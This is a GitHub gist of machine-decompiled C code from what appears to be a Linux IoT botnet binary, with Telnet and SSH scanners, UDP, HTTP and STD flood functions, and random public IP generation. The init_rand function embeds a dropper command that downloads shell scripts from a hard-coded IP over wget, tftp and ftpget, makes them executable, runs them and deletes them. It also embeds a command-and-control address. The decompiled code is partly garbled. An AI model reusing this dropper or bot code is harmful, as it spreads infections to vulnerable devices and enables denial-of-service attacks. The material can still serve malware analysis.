Created
October 6, 2016 14:19
-
-
Save jedisct1/90b66f0663ad012b0092dc85532a53fd to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// This file was generated by the Retargetable Decompiler | |
// Website: https://retdec.com | |
// Copyright (c) 2016 Retargetable Decompiler <info@retdec.com> | |
// | |
#include <arpa/inet.h> | |
#include <ctype.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <netdb.h> | |
#include <netinet/in.h> | |
#include <signal.h> | |
#include <stdbool.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <stropts.h> | |
#include <sys/select.h> | |
#include <sys/socket.h> | |
#include <sys/wait.h> | |
#include <time.h> | |
#include <unistd.h> | |
// ------------------------ Structures ------------------------ | |
struct _TYPEDEF_fd_set { | |
int32_t e0[1]; | |
}; | |
struct _TYPEDEF_sigset_t { | |
int32_t e0[1]; | |
}; | |
struct hostent { | |
char * e0; | |
char ** e1; | |
int32_t e2; | |
int32_t e3; | |
char ** e4; | |
}; | |
struct in_addr { | |
int32_t e0; | |
}; | |
struct sockaddr { | |
int32_t e0; | |
char e1[14]; | |
}; | |
struct timeval { | |
int32_t e0; | |
int32_t e1; | |
}; | |
// ------------------- Function Prototypes -------------------- | |
int32_t connectTimeout(int16_t fd2, int32_t a2, int32_t host_short, int32_t a4); | |
int32_t csum(int16_t * a1, int32_t a2); | |
int32_t fdgets(int32_t a1, int32_t a2, int32_t fd); | |
int32_t fdpclose(struct _TYPEDEF_sigset_t * fd); | |
int32_t fdpopen(int32_t a1, char * a2); | |
int32_t getBuild(void); | |
int32_t getHost(char * cp, int32_t * a2); | |
int32_t getOurIP(void); | |
int32_t getRandomIP(int32_t a1); | |
int32_t getRandomPublicIP(void); | |
int32_t init_rand(int32_t a1); | |
int32_t initConnection(void); | |
int32_t listFork(void); | |
int32_t makeIPPacket(char * a1, int32_t result, int32_t a3, int32_t a4, int32_t a5); | |
int32_t makeRandomStr(int32_t a1, int32_t a2); | |
int32_t matchPrompt(char * str); | |
int32_t negotiate(int32_t sock, int32_t a2); | |
int32_t print(int32_t * a1, char * a2, int32_t * a3); | |
int32_t printchar(int32_t * a1, char buf); | |
int32_t printi(int32_t a1, int64_t a2, uint64_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7); | |
int32_t prints(int32_t a1, char * a2, int32_t a3, uint32_t a4); | |
int32_t processCmd(int32_t a1, int32_t * str, int32_t a3); | |
int32_t rand_cmwc(void); | |
int32_t readUntil(char * sock, struct _TYPEDEF_fd_set * str2, int32_t a3, int32_t timeout, uint32_t a5, int32_t a6, int32_t a7, int32_t a8); | |
int32_t recvLine(uint32_t a1, char * a2, int32_t a3); | |
int32_t sclose(int32_t fd); | |
int32_t sendHTTP(char * a1, char * a2, uint32_t a3, char * a4, int32_t a5, int32_t a6); | |
int32_t sendSTD(char * name, int32_t a2, int32_t a3); | |
int32_t sendUDP(int32_t * a1, char * message, int32_t length2, int32_t flags, struct sockaddr * dest_addr2, int32_t dest_len); | |
int32_t socket_connect(char * name, int32_t a2); | |
char * sockprintf(int32_t sock, char * a2); | |
int32_t SSHScanner(int32_t size, struct sockaddr * a2, struct _TYPEDEF_fd_set * a3, struct _TYPEDEF_fd_set * a4, struct timeval * a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9); | |
int32_t szprintf(int32_t a1); | |
int32_t TelnetScanner(int32_t size, struct sockaddr * a2, struct _TYPEDEF_fd_set * a3, struct _TYPEDEF_fd_set * a4, struct timeval * a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9); | |
int32_t trim(char * str); | |
int32_t zprintf(int32_t a1); | |
// ------------------------ Functions ------------------------- | |
// Address range: 0x804818c - 0x80481fa | |
int32_t init_rand(int32_t a1) { | |
char * v1[2] = { | |
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://198.204.224.130/bins.sh; busybox wget http://198.204.224.130/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 198.204.224.130 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 198.204.224.130; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 198.204.224.130 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", | |
"198.204.224.130:5888" | |
}; // 0x805b040 | |
char (*v2)[21] = "198.204.224.130:5888"; // 0x805b044 | |
int32_t v3 = -1; // 0x805b048 | |
int32_t v4 = 0x587c4; // 0x805b1d0 | |
int32_t v5 = 4095; // 0x805b1d4 | |
int16_t v6 = 288; // 0x805b240 | |
int32_t v7 = -0x66eac64f; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9 = 0; // 0x805b488 | |
int32_t v10 = 0; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12 = 0; // 0x805b491 | |
char v13 = 0; // 0x805b493 | |
char v14 = 0; // 0x805b494 | |
char v15 = 0; // 0x805b496 | |
char v16 = 0; // 0x805b497 | |
char v17 = 0; // 0x805b498 | |
char v18 = 0; // 0x805b499 | |
char v19 = 0; // 0x805b49a | |
int64_t v20 = 0; // 0x805d49f | |
char * v21; // 0x805f4a0 | |
int32_t v22 = 0; // 0x8061708 | |
int32_t v23 = 0; // 0x806170c | |
char * v24; // 0x8061710 | |
bool v25 = false; | |
int32_t v26 = a1; // 0x805b4a0 | |
int32_t v27 = a1 - 0x61c88647; // 0x805b4a4 | |
int32_t v28 = a1 + 0x3c6ef372; // 0x805b4a8 | |
// branch -> 0x80481bd | |
int32_t result; // eax | |
int32_t i; | |
for (int32_t i = 3; i < 0x1000; i++) { | |
// 0x80481bd | |
int32_t v29; // 0x80481c6 | |
int32_t v30; // 0x80481d3 | |
result = i ^ -0x61c88647 ^ v30 ^ v29; | |
// continue -> 0x80481bd | |
} | |
// 0x80481f9 | |
return result; | |
} | |
// Address range: 0x80481fb - 0x80482ba | |
int32_t rand_cmwc(void) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int16_t v4; // 0x805b240 | |
int32_t v5; // 0x805b3a4 | |
char * v6; // 0x805b480 | |
int32_t v7; // 0x805b488 | |
int32_t v8; // 0x805b48c | |
char * v9; // 0x805b490 | |
char v10; // 0x805b491 | |
char v11; // 0x805b493 | |
char v12; // 0x805b494 | |
char v13; // 0x805b496 | |
char v14; // 0x805b497 | |
char v15; // 0x805b498 | |
char v16; // 0x805b499 | |
char v17; // 0x805b49a | |
int32_t v18; // 0x805b4a0 | |
int32_t v19; // 0x805b4a4 | |
int32_t v20; // 0x805b4a8 | |
char * v21; // 0x805f4a0 | |
int32_t v22; // 0x8061708 | |
int32_t v23; // 0x806170c | |
char * v24; // 0x8061710 | |
bool v25; | |
// 0x80481fb | |
int32_t v26; // 0x805b1d4 | |
v26 = (v26 + 1) % 0x1000; | |
int64_t v27; // 0x805d49f | |
uint64_t v28 = 0x495e * (v27 & 0xffffffff); // 0x8048249 | |
uint32_t v29 = (int32_t)v28; // 0x8048249 | |
int32_t v30; // 0x805b1d0 | |
uint32_t v31 = v29 + v30; // 0x804825a | |
int32_t v32 = (int32_t)(v31 < v29) + (int32_t)(v28 / 0x100000000); // 0x804825c | |
v30 = v32; | |
int32_t v33 = v32 + v31; // 0x804827b | |
int32_t v34 = v33; // 0x804829f12 | |
if (v33 < v32) { | |
// 0x804828b | |
v30 = v32 + 1; | |
v34 = v33 + 1; | |
// branch -> 0x8048299 | |
} | |
int32_t result = -2 - v34; // 0x80482a5 | |
v27 = result; | |
return result; | |
} | |
// Address range: 0x80482bb - 0x8048365 | |
int32_t trim(char * str) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29 = strlen(str) - 1; // 0x80482e1 | |
int32_t v30 = 0; // 0x804835218 | |
// branch -> 0x80482ea | |
while (true) { | |
// 0x80482ea | |
char c; // 0x80482f0 | |
if (isspace((int32_t)c) == 0) { | |
char * v31 = str; | |
int32_t v32 = v29; | |
if (v29 >= v30) { | |
while (true) { | |
// 0x804830f | |
char c2; // 0x8048315 | |
if (isspace((int32_t)c2) != 0) { | |
int32_t v33 = v29 - 1; // 0x8048304 | |
if (v33 >= v30) { | |
// 0x8048304 | |
v29 = v33; | |
// branch -> 0x804830f | |
continue; | |
} | |
} | |
// 0x8048327 | |
// branch -> 0x8048327 | |
} | |
} | |
// 0x8048327 | |
if (v30 > v32) { | |
// 0x8048352 | |
*v31 = 0; | |
return (int32_t)v31; | |
} | |
char v34; // 0x8048342 | |
*v31 = v34; | |
int32_t v35 = v30 + 1; // 0x8048347 | |
int32_t result = (int32_t)str + v35 - v30; // 0x804835a | |
char * v36 = (char *)result; | |
while (v35 <= v32) { | |
// 0x804832f | |
*v36 = v34; | |
v35++; | |
result = (int32_t)str + v35 - v30; | |
v36 = (char *)result; | |
// continue -> 0x804832f | |
} | |
// 0x8048352 | |
*v36 = 0; | |
return result; | |
} | |
// 0x80482e7 | |
v30++; | |
// branch -> 0x80482ea | |
} | |
} | |
// Address range: 0x8048366 - 0x80483a7 | |
int32_t printchar(int32_t * a1, char buf) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29 = (int32_t)a1; | |
int32_t result; // 0x80483a7_2 | |
if (a1 == NULL) { | |
// 0x804838b | |
result = write(1, &buf, 1); | |
// branch -> 0x80483a6 | |
} else { | |
int32_t * v30 = (int32_t *)v29; // 0x804837f_0 | |
*v30 = *v30 + 1; | |
result = v29; | |
// branch -> 0x80483a6 | |
} | |
// 0x80483a6 | |
return result; | |
} | |
// Address range: 0x80483a8 - 0x8048481 | |
int32_t prints(int32_t a1, char * a2, int32_t a3, uint32_t a4) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29 = a3; | |
int32_t v30 = 32; // 0x804845f24 | |
int32_t v31; // 0x804844d | |
int32_t v32; // 0x8048450 | |
int32_t v33; | |
char v34; | |
char * v35; | |
int32_t result; | |
int32_t v36; | |
int32_t v37; | |
int32_t v38; // 0x804842a78 | |
if (a3 >= 1) { | |
int32_t v39 = 0; | |
int32_t v40; | |
if (*a2 != 0) { | |
int32_t v41 = (int32_t)a2; | |
int32_t v42 = 1; // 0x80483d1 | |
v39 = v42; | |
char v43; // 0x80483da | |
while (v43 != 0) { | |
// 0x80483d1 | |
v41++; | |
v42++; | |
v39 = v42; | |
// continue -> 0x80483d1 | |
} | |
// 0x80483e1 | |
v40 = 0; | |
if (v39 < a3) { | |
// 0x80483f2 | |
v40 = a3 - v39; | |
// branch -> 0x80483f8 | |
} | |
// 0x80483f8 | |
v29 = v40; | |
v30 = 8 * (a4 & 2) | 32; | |
// branch -> 0x8048409 | |
// 0x8048409 | |
v33 = v29; | |
v37 = 0; | |
if (a4 % 2 == 0) { | |
// 0x804842d | |
if (v29 > 0) { | |
// 0x8048415 | |
v34 = v30; | |
printchar((int32_t *)a1, v34); | |
if (v29 > 1) { | |
v38 = v29 - 1; | |
while (true) { | |
// 0x8048415 | |
printchar((int32_t *)a1, v34); | |
if (v38 <= 1) { | |
v33 = 0; | |
v37 = v29; | |
// break -> 0x8048453 | |
break; | |
} | |
v38--; | |
// continue -> 0x8048415 | |
} | |
// 0x8048453 | |
v36 = v37; | |
if (*a2 == 0) { | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
printchar((int32_t *)a1, *a2); | |
v31 = v37 + 1; | |
v32 = (int32_t)a2 + 1; | |
v35 = (char *)v32; | |
v36 = v31; | |
while (*v35 != 0) { | |
// 0x8048435 | |
printchar((int32_t *)a1, *v35); | |
v31++; | |
v32++; | |
v35 = (char *)v32; | |
v36 = v31; | |
// continue -> 0x8048435 | |
} | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
v33 = 0; | |
v37 = 1; | |
} else { | |
v33 = v29; | |
v37 = 0; | |
} | |
} | |
// 0x8048453 | |
v36 = v37; | |
if (*a2 == 0) { | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
printchar((int32_t *)a1, *a2); | |
v31 = v37 + 1; | |
v32 = (int32_t)a2 + 1; | |
v35 = (char *)v32; | |
v36 = v31; | |
while (*v35 != 0) { | |
// 0x8048435 | |
printchar((int32_t *)a1, *v35); | |
v31++; | |
v32++; | |
v35 = (char *)v32; | |
v36 = v31; | |
// continue -> 0x8048435 | |
} | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
// 0x80483e1 | |
v40 = 0; | |
if (v39 < a3) { | |
// 0x80483f2 | |
v40 = a3 - v39; | |
// branch -> 0x80483f8 | |
} | |
// 0x80483f8 | |
v29 = v40; | |
v30 = 8 * (a4 & 2) | 32; | |
// branch -> 0x8048409 | |
} | |
// 0x8048409 | |
v33 = v29; | |
v37 = 0; | |
if (a4 % 2 == 0) { | |
// 0x804842d | |
if (v29 > 0) { | |
// 0x8048415 | |
v34 = v30; | |
printchar((int32_t *)a1, v34); | |
if (v29 > 1) { | |
v38 = v29 - 1; | |
while (true) { | |
// 0x8048415 | |
printchar((int32_t *)a1, v34); | |
if (v38 <= 1) { | |
v33 = 0; | |
v37 = v29; | |
// break -> 0x8048453 | |
break; | |
} | |
v38--; | |
// continue -> 0x8048415 | |
} | |
// 0x8048453 | |
v36 = v37; | |
if (*a2 == 0) { | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
printchar((int32_t *)a1, *a2); | |
v31 = v37 + 1; | |
v32 = (int32_t)a2 + 1; | |
v35 = (char *)v32; | |
v36 = v31; | |
while (*v35 != 0) { | |
// 0x8048435 | |
printchar((int32_t *)a1, *v35); | |
v31++; | |
v32++; | |
v35 = (char *)v32; | |
v36 = v31; | |
// continue -> 0x8048435 | |
} | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
v33 = 0; | |
v37 = 1; | |
} else { | |
v33 = v29; | |
v37 = 0; | |
} | |
} | |
// 0x8048453 | |
v36 = v37; | |
if (*a2 == 0) { | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
printchar((int32_t *)a1, *a2); | |
v31 = v37 + 1; | |
v32 = (int32_t)a2 + 1; | |
v35 = (char *)v32; | |
v36 = v31; | |
while (*v35 != 0) { | |
// 0x8048435 | |
printchar((int32_t *)a1, *v35); | |
v31++; | |
v32++; | |
v35 = (char *)v32; | |
v36 = v31; | |
// continue -> 0x8048435 | |
} | |
// 0x8048477 | |
result = v36; | |
if (v33 > 0) { | |
// branch -> 0x804845f | |
for (int32_t i = v33; i >= 1; i--) { | |
// 0x804845f | |
printchar((int32_t *)a1, (char)v30); | |
// continue -> 0x804845f | |
} | |
// 0x8048477 | |
result = v36 + v33; | |
// branch -> 0x804847d | |
} | |
// 0x804847d | |
return result; | |
} | |
// Address range: 0x8048482 - 0x80485c0 | |
int32_t printi(int32_t a1, int64_t a2, uint64_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
uint32_t v29 = (int32_t)a2; | |
int32_t result; | |
if (v29 == 0) { | |
int32_t v30 = 48; | |
result = prints(a1, (char *)&v30, a5, a6); | |
// branch -> 0x80485bc | |
} else { | |
int64_t v31 = a2; | |
int32_t v32 = 0; // 0x804855a24 | |
if (a4 != 0) { | |
// 0x80484d8 | |
if ((int32_t)a3 == 10) { | |
// 0x80484de | |
if (v29 <= 0) { | |
// 0x80484e4 | |
v31 = -v29; | |
v32 = 1; | |
// branch -> 0x80484f3 | |
} else { | |
v31 = a2; | |
v32 = 0; | |
} | |
} else { | |
v31 = a2; | |
v32 = 0; | |
} | |
} | |
// 0x80484f3 | |
int32_t v33; | |
int32_t v34 = &v33; // 0x80484f6_4 | |
v33 = 0; | |
int32_t v35; // 0x80485a221 | |
if ((int32_t)v31 != 0) { | |
uint64_t v36 = v31; | |
while (true) { | |
int32_t v37 = v36 / a3; // 0x8048512 | |
if ((int32_t)(v36 % a3) >= 10) { | |
// 0x8048520 | |
// branch -> 0x804852c | |
} | |
int32_t v38 = v34 - 1; // 0x804852c | |
if (v37 == 0) { | |
v34 = v38; | |
// break -> 0x804855a | |
break; | |
} | |
v34 = v38; | |
v36 = (int64_t)v37; | |
// continue -> 0x8048504 | |
} | |
// 0x804855a | |
v35 = v34; | |
if (v32 != 0) { | |
// 0x8048560 | |
if (a5 != 0) { | |
// 0x8048566 | |
if ((a6 & 2) != 0) { | |
// 0x8048570 | |
printchar((int32_t *)a1, 45); | |
// branch -> 0x8048594 | |
// 0x8048594 | |
result = prints(a1, (char *)v34, a5 - 1, a6) + 1; | |
// branch -> 0x80485bc | |
// 0x80485bc | |
return result; | |
} | |
} | |
// 0x804858b | |
v35 = v34 - 1; | |
// branch -> 0x8048594 | |
} | |
// 0x8048594 | |
result = prints(a1, (char *)v35, a5, a6); | |
// branch -> 0x80485bc | |
// 0x80485bc | |
return result; | |
} | |
// 0x804855a | |
v35 = v34; | |
if (v32 != 0) { | |
// 0x8048560 | |
if (a5 != 0) { | |
// 0x8048566 | |
if ((a6 & 2) != 0) { | |
// 0x8048570 | |
printchar((int32_t *)a1, 45); | |
// branch -> 0x8048594 | |
// 0x8048594 | |
result = prints(a1, (char *)v34, a5 - 1, a6) + 1; | |
// branch -> 0x80485bc | |
// 0x80485bc | |
return result; | |
} | |
} | |
// 0x804858b | |
v35 = v34 - 1; | |
// branch -> 0x8048594 | |
} | |
// 0x8048594 | |
result = prints(a1, (char *)v35, a5, a6); | |
// branch -> 0x80485bc | |
} | |
// 0x80485bc | |
return result; | |
} | |
// Address range: 0x80485c1 - 0x8048892 | |
int32_t print(int32_t * a1, char * a2, int32_t * a3) { | |
char * v1[2]; // 0x805b040 | |
char (*v2)[21]; // 0x805b044 | |
int32_t v3; // 0x805b048 | |
int32_t v4; // 0x805b1d0 | |
int32_t v5; // 0x805b1d4 | |
int16_t v6; // 0x805b240 | |
int32_t v7; // 0x805b3a4 | |
char * v8; // 0x805b480 | |
int32_t v9; // 0x805b488 | |
int32_t v10; // 0x805b48c | |
char * v11; // 0x805b490 | |
char v12; // 0x805b491 | |
char v13; // 0x805b493 | |
char v14; // 0x805b494 | |
char v15; // 0x805b496 | |
char v16; // 0x805b497 | |
char v17; // 0x805b498 | |
char v18; // 0x805b499 | |
char v19; // 0x805b49a | |
int32_t v20; // 0x805b4a0 | |
int32_t v21; // 0x805b4a4 | |
int32_t v22; // 0x805b4a8 | |
int64_t v23; // 0x805d49f | |
char * v24; // 0x805f4a0 | |
int32_t v25; // 0x8061708 | |
int32_t v26; // 0x806170c | |
char * v27; // 0x8061710 | |
bool v28; | |
int32_t v29 = (int32_t)a1; | |
int32_t result = 0; | |
if (*a2 != 0) { | |
int32_t v30 = (int32_t)a2; | |
int32_t v31 = 0; // 0x804888e3950 | |
int32_t v32 = (int32_t)a3; | |
// branch -> 0x80485d3 | |
int32_t v33; // 0x804888e38 | |
while (true) { | |
// 0x80485d3 | |
char * v34; | |
if (*a2 == 37) { | |
char * v35 = (char *)(v30 + 1); | |
if (*v35 != 0) { | |
// 0x80485ff | |
int32_t v36; // 0x804886f | |
char * v37; | |
if (*v35 == 37) { | |
v34 = v35; | |
// 0x8048854 | |
printchar((int32_t *)v29, *v34); | |
v33 = v31 + 1; | |
// branch -> 0x804886f | |
} else { | |
char * v38 = v35; | |
int32_t v39 = 0; | |
if (*v35 == 45) { | |
// 0x8048617 | |
v38 = (char *)(v30 + 2); | |
v39 = 1; | |
// branch -> 0x804862a | |
} | |
int32_t v40 = (int32_t)v38; | |
char * v41 = v38; | |
char * v42; | |
char * v43; | |
int32_t v44; | |
int32_t v45; | |
int32_t v46; // 0x804883636147 | |
int32_t v47; | |
if (*v38 == 48) { | |
while (true) { | |
int32_t v48 = v40 + 1; // 0x8048623 | |
char * v49 = (char *)v48; | |
int32_t v50 = v39 | 2; // 0x8048626 | |
if (*v49 != 48) { | |
v39 = v50; | |
v41 = v49; | |
// break -> 0x8048659 | |
break; | |
} | |
v40 = v48; | |
v39 = v50; | |
// continue -> 0x8048623 | |
} | |
// 0x8048659 | |
v44 = (int32_t)v41; | |
v47 = 0; | |
v43 = v41; | |
if (*v41 >= 48) { | |
v45 = v44; | |
v46 = 0; | |
v42 = v41; | |
lab_0x8048663: | |
while (true) { | |
// 0x8048663 | |
if (*v42 < 58) { | |
int32_t v51 = (int32_t)*v42 + 10 * v46 - 48; // 0x8048650 | |
int32_t v52 = v45 + 1; // 0x8048656 | |
char * v53 = (char *)v52; | |
if (*v53 < 48) { | |
v47 = v51; | |
v43 = v53; | |
// break -> 0x804866d | |
break; | |
} | |
v45 = v52; | |
v46 = v51; | |
v42 = v53; | |
// continue -> 0x8048663 | |
continue; | |
} else { | |
v47 = v46; | |
v43 = v42; | |
} | |
} | |
// 0x804866d | |
if (*v43 == 115) { | |
lab_0x8048677:; | |
char * v54 = "(null)"; | |
int32_t v55; // 0x8048682 | |
if (v55 != 0) { | |
// 0x804868d | |
v54 = (char *)v55; | |
// branch -> 0x804869c | |
} | |
// 0x804869c | |
v33 = prints(v29, v54, v47, v39) + v31; | |
// branch -> 0x804886f | |
} else { | |
lab_0x80486c4: | |
// 0x80486c4 | |
if (*v43 == 100) { | |
// 0x80486ce | |
int32_t v56; // 0x80486d9 | |
int32_t v57 = printi(v29, (int64_t)v56, 10, 1, v47, v39, 97) + v31; // 0x8048710 | |
v33 = v57; | |
// branch -> 0x804886f | |
} else { | |
// 0x8048718 | |
if (*v43 == 120) { | |
// 0x8048722 | |
int32_t v58; // 0x804872d | |
int32_t v59 = printi(v29, (int64_t)v58, 16, 0, v47, v39, 97) + v31; // 0x8048764 | |
v33 = v59; | |
// branch -> 0x804886f | |
} else { | |
// 0x804876c | |
if (*v43 == 88) { | |
// 0x8048776 | |
int32_t v60; // 0x8048781 | |
int32_t v61 = printi(v29, (int64_t)v60, 16, 0, v47, v39, 65) + v31; // 0x80487b8 | |
v33 = v61; | |
// branch -> 0x804886f | |
} else { | |
// 0x80487c0 | |
int32_t v62; | |
if (*v43 == 117) { | |
// 0x80487ca | |
int32_t v63; // 0x80487d5 | |
int32_t v64 = printi(v29, (int64_t)v63, 10, 0, v47, v39, 97) + v31; // 0x804880c | |
v62 = v32 + 4; | |
v33 = v64; | |
// branch -> 0x804886f | |
} else { | |
// 0x8048811 | |
if (*v43 == 99) { | |
// 0x804881b | |
int32_t v65; // 0x8048826 | |
int32_t v66 = 0x1000000 * v65 / 0x1000000; | |
int32_t v67 = prints(v29, (char *)&v66, v47, v39); // 0x804884a | |
v62 = v32 + 4; | |
v33 = v67 + v31; | |
// branch -> 0x804886f | |
} else { | |
v62 = v32; | |
v33 = v31; | |
} | |
} | |
// 0x804886f | |
v36 = (int32_t)v43 + 1; | |
v37 = (char *)v36; | |
if (*v37 == 0) { | |
// break -> 0x8048880 | |
break; | |
} | |
v30 = v36; | |
v31 = v33; | |
a2 = v37; | |
v32 = v62; | |
// continue -> 0x80485d3 | |
continue; | |
} | |
// 0x804886f | |
v36 = (int32_t)v43 + 1; | |
v37 = (char *)v36; | |
if (*v37 == 0) { | |
// break -> 0x8048880 | |
break; | |
} | |
v30 = v36; | |
v31 = v33; | |
a2 = v37; | |
v32 += 4; | |
// continue -> 0x80485d3 | |
continue; | |
} | |
// 0x804886f | |
v36 = (int32_t)v43 + 1; | |
v37 = (char *)v36; | |
if (*v37 == 0) { | |
// break -> 0x8048880 | |
break; | |
} | |
v30 = v36; | |
v31 = v33; | |
a2 = v37; | |
v32 += 4; | |
// continue -> 0x80485d3 | |
continue; | |
} | |
// 0x804886f | |
v36 = (int32_t)v43 + 1; | |
v37 = (char *)v36; | |
if (*v37 == 0) { | |
// break -> 0x8048880 | |
break; | |
} | |
v30 = v36; | |
v31 = v33; | |
a2 = v37; | |
v32 += 4; | |
// continue -> 0x80485d3 | |
continue; | |
} | |
// 0x804886f | |
